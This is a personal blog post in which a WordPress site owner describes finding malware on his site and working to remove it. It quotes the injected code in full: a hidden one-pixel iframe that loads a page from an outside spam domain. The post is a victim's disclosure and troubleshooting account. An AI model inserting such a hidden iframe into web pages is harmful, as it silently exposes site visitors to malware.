Hey Russian Spammer – I Got Game

So you can ignore everything down there. Long story short, somehow my wordpress index.php file had become corrupted. The weird thing was I have multiple copies of backups of Shyzer and all my sites stored on four different computers. And the file in question was corrupted on all of them. Which means either the virus somehow copied itself from the web down onto my computers (unlikely) or it’d been there for a hell of a long time and I’m just now finding out about it. I almost want to e-mail everybody I know and apologize. Christ, spyware, on Shyzer! I can’t even make a joke about it, I’m that pissed. But it’s gone now, hopefully. Which means that if you get any more weird popups or virus message while visiting Shyzer, let me know, damnit!


If you can’t tell already, I’m a bit pissed.

So after being told for the millionth time that Shyzer is triggering people’s anti-virus software, I finally started digging around tonight and found this at the very bottom of my source code:

<iframe src=’http://ltraffic.biz/resource.php?id=4536&user=Nikson’ width=’1′ height=’1′ style=’visibility: hidden;’></iframe>

Which is fine and dandy and all except for the small part that I HAVE NO IDEA HOW A RUSSIAN VIRUS HAS LEECHED INTO MY CODE! My footer page simply ends with:


I’ve googled around, but apparently I’m one of the few morons who has let this happen to him. Huzzah! So, if you’ve been getting popup errors and anti-virus messages, please note: I’m aware of the situation and I’m not going to bed until I fix this. I can handle going two weeks without adding any substantial material to this site without breaking a sweat. But letting spyware take over? Fuck that.

EDIT 1: Well I’ve eliminated the fact that the spam is in my theme code, because no matter what theme I switch to, it’s still there.

EDIT 2: It’s not in my plugins, either. I’ve got the default theme running, no plugins, and the bastard is still there.